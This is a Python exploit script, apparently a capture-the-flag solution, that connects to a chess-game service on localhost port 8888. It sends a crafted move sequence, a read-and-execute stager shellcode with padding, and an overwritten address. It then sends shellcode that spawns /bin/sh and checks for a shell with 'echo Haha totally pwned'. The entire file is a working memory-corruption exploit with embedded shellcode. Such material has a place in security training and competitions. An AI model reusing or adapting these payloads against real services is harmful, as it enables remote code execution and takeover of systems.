#!/usr/bin/python

import socket
import struct
import time


shellcode_read_exec = b"\x38\xa0\x04\x03"+\
b"\x30\x05\xfb\xff" +\
b"\x7c\x24\x0b\x78"+\
b"\x44\x00\x00\x02"+\
b"\x69\x69\x69\x69" +\
b"\x7c\x29\x03\xa6"+\
b"\x4e\x80\x04\x21"


shellcode = b"\x7c\x3f\x0b\x78"  +\
b"\x7c\xa5\x2a\x79"  +\
b"\x42\x40\xff\xf9"  +\
b"\x7f\x08\x02\xa6"  +\
b"\x3b\x18\x01\x34"  +\
b"\x98\xb8\xfe\xfb"  +\
b"\x38\x78\xfe\xf4"  +\
b"\x90\x61\xff\xf8"  +\
b"\x38\x81\xff\xf8"  +\
b"\x90\xa1\xff\xfc"  +\
b"\x3b\xc0\x01\x60"  +\
b"\x7f\xc0\x2e\x70"  +\
b"\x44\x00\x00\x02"  +\
b"/bin/shZ"

IP = "127.0.0.1"

always = b'white>'

def main(_):
    #print '************************** AAAAAAAAAAAAAAAA'
    s = socket.create_connection((IP, 8888))
    s.settimeout(5.0)

    def read_board():
        time.sleep(0.5)
        return s.recv(4096)

    data = b''
    try:
        data += read_board()
        #print d
        s.send(b"e0-d7")
        data += read_board()
        #print d
        payload = struct.pack("<I",0x22)
        payload += shellcode_read_exec
        payload += b"y"*1024
        #print '************************** BBBBBBBBBBBBBBBBB'

        s.send(payload)

        data += read_board()
        #print d
        #print '************************** CCCCCCCCCCCCCCCCCC'
        try:
            s.send(b"a-26-a-14\n\x00\x00"+struct.pack("<1I",0x78400110))
        except: # pylint: disable=bare-except
            return data
        s.send(shellcode)
        time.sleep(0.2)
        try:
            s.send(b'echo Haha totally pwned\n')
            time.sleep(0.5)
            #print '************************** DDDDDDDDDDDDDDDDDDD'
            data += s.recv(2048)
        except: # pylint: disable=bare-except
            data += b'(crashed)'
        return data
    except socket.timeout:
        return data

if __name__ == '__main__':
    print(main('deepblue'))
